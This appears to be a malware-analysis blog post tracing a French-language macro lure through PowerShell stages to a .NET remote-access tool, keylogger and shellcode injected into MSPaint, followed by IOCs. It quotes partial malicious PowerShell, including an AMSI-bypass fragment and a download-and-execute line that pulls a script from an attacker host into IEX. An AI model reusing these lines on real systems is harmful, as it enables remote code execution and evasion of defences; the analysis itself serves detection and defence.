# PSChain

**inquest.net/blog/2021/05/26/pschain**

We have found an exciting document that hides a whole chain of PS scripts. Unfortunately, the original
document has used a coercive lure to make the victim enable macros that drop malicious artifacts. This specific
document's lure is written in French "BIENVENUE DANS WORD Microsoft Word a ete mise a jour avec succes"

**File Type: Microsoft Windows Document**

**MD5 at InQuest Labs:** **[ca09b19b6975e090fb4eda6ced1847b1](https://labs.inquest.net/dfi/hash/f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3)**


-----

Image 1: ca09b19b6975e090fb4eda6ced1847b1 document lure

[At the time of submission, the document had a relatively low detection rate on Virustotal. Over time the](https://www.virustotal.com/gui/file/f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3/detection)
detection will increase, but the initial download and analysis is important.

Image 2: VirusTotal Detection 5/59

If the file is heavily obfuscated, it helps to run it in a virtual environment. To undersstand the basic functionality
of a malicous or legitamite file, dynamic analysis through a sandbox indicates this document is loading a
Powershell file.

Image 3: Downloading PS file
```
hxxps://www.4sync[.]com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580

```
Looking at the contents of the downloaded script.


-----

```
$
$aMsEjutuOSYR=@(102,117,110,99,116,105,111,110,32,109,101,114,116,115,97,10,123,10,32,32,105,96,69,96,12
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::F
[System.Text.Encoding]::ASCII.GetString($aMsEjutuOSYR)|&('I'+'EX');

```
The content at the beginning of the script is decoded with this function.
```
functionmertsa§ i`E`є x(nwobjectnet.webclient).downloadString('ht'+'tp://se'+'cure.gravi'+'om.fr'+':80/fa'+'ndi.p'+'s1')mertsa

```
The above code loads the following script, which starts to get more interesting.

Image 4: Url of next stage code

```
hxxps://raw.githubusercontent[.]com/R3mEm/vox/main/vox.ps1

```

Image 5: Vox.ps1

The script contains a large volume of data after converting it to hex.

Image 6: Vox to Hex

It is apparent that the data is encoded with BASE64, and the reverse function is implemented. In order to
continue the analysis, we must use the reverse function and decode the base64.

Image 7: Unpacked executable file

Carving out the executable confirms that we are on the right track.

**File Type: PE32+ executable for MS Windows (GUI) Mono/.Net assembly**

**MD5: BAC7BE7EEBB8670AE624A0179A366148**

The executable is written in .NET. It is easy to analyze, considering it is not obfuscated by any means.


-----

Image 8: .NET executable

The program collects system information to include antivirus products, display information, and the system's
capacity.

Image 9: Harvest system information

The program then connects to a remote server based on two addresses and several randomized ports.

Image 10: Connection functionality

The following function connects to a remote server. If the connection fails, the program goes to sleep and tries
again later.


-----

Image 11: C2 Infrastructure

Image 12: Encryption Key

If the treat actor decides the victim matches their parameters, they download other data, which is also decrypted
with the above key. Based on the fact that the data would be launched after decryption, the subsequent
download would likely be another executable file.

Image 13: Self Destruction

Threat actors often take special measures to prevent their payloads from being analyzed, but we got lucky and
managed to get the executable file.

**File Type: PE64+ executable for MS Windows (GUI) Mono/.Net assembly**

**MD5: 0B1D7C043BE8C696D53D63FC0C834195**

This executable file is also written in .NET. It collects information about keystrokes and mouse movements.
Additional functionality is included to capture screenshots. Special attention is directed to the fact that the
program injects shellcode into MSPaint.


-----

Image 14: Shellcode written to MSPaint

Before the injection and execution of the shellcode, the program applies the byte reverse function.

Image 15: Reverse byte function

After unpacking, the shellcode looks like this.

Image 16: Unpacked shellcode

This shellcode is rather interesting. Its purpose is to communicate with a remote server in the "mspaint" address
space.


-----

Image 17: C2 Assembly

Image 18: C2 address

Targeted attacks still pose a threat to the information security of many organizations. Deep dive analysis of the
threats can help to prepare for future attacks.

**Debug Strings:**
C:\Users\wallstreet\source\repos\WindowsFormsApp3\WindowsFormsApp3\bin\x64\Release\liko.pdb

C:\Users\wallstreet\source\repos\Billang\Billang\obj\Release\Billang.pdb

**IOCs:**

BAC7BE7EEBB8670AE624A0179A366148

F2F34C3AF3D8F3AE5E2A28DBFB87681E

0B1D7C043BE8C696D53D63FC0C834195

ca09b19b6975e090fb4eda6ced1847b

hxxp://secure[.]graviom[.]fr[:]80/fandi.ps1

hxxp://secure.graviom[.]fr/update.bin

hxxps://raw.githubusercontent[.]com/R3mEm/vox/main/vox.ps1

hxxps://www.4sync[.]com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd9b337d6b555367580

35.181.50.113

3.8.126.182

15.236.51.204

Tags

[guest](https://inquest.net/taxonomy/term/70) [in-the-wild threat-hunting reverse-engineering](https://inquest.net/taxonomy/term/8)

## Get The InQuest Insider

[Find us on Twitter for frequent updates, follow our Blog for bi-weekly technical write-ups, or subscribe here to](https://twitter.com/inquest)
receive our monthly newsletter, The InQuest Insider. We curate and provide you with the latest news stories,
field notes about innovative malware, novel research / analysis / threat hunting tools, security tips and more.


-----